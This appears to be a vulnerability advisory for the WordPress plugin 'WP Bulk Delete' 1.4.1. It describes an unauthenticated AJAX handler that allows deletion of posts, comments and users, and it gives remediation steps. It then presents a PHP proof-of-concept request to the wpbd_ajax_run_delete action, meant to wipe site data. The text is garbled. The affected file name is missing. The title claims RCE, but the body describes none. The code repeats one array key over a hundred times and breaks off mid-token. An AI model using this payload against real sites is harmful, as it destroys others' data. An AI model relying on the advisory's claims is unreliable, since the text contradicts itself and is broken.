Unauthorized Bulk Deletion Vulnerability in WordPress Plugin WP Bulk Delete (Pre-Auth RCE/DoS)

Vulnerability Overview This vulnerability involves the AJAX handler file ( ) of the WordPress plugin "WP Bulk Delete." It allows unauthenticated attackers to execute unauthorized operations, such as deleting posts, comments, and users, by crafting malicious requests. Impact Scope Affected Version: 1.4.1 Affected File: Impacted Functionality: Bulk deletion operations (posts, comments, users, etc.) Remediation 1. Permission Verification: Add strict permission checks within the AJAX handler functions to ensure that only users with appropriate privileges can perform deletion operations. 2. Input Validation: Implement rigorous validation and filtering for all input data to prevent security issues caused by malicious inputs. 3. Plugin Update: It is recommended that users update to the latest version of the plugin immediately to fix known security vulnerabilities. Proof of Concept (POC) Code Below is an example of POC code to exploit this vulnerability: ```php 'wpbd_ajax_run_delete', 'wpbd_args' => array( 'post_type' => 'post', 'delete_posts' => '1', 'delete_comments' => '1', 'delete_users' => '1', 'delete_terms' => '1', 'delete_meta' => '1', 'delete_options' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'delete_users' => '1', 'de

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Unauthorized Bulk Deletion Vulnerability in WordPress Plugin WP Bulk Delete (Pre-Auth RCE/DoS)

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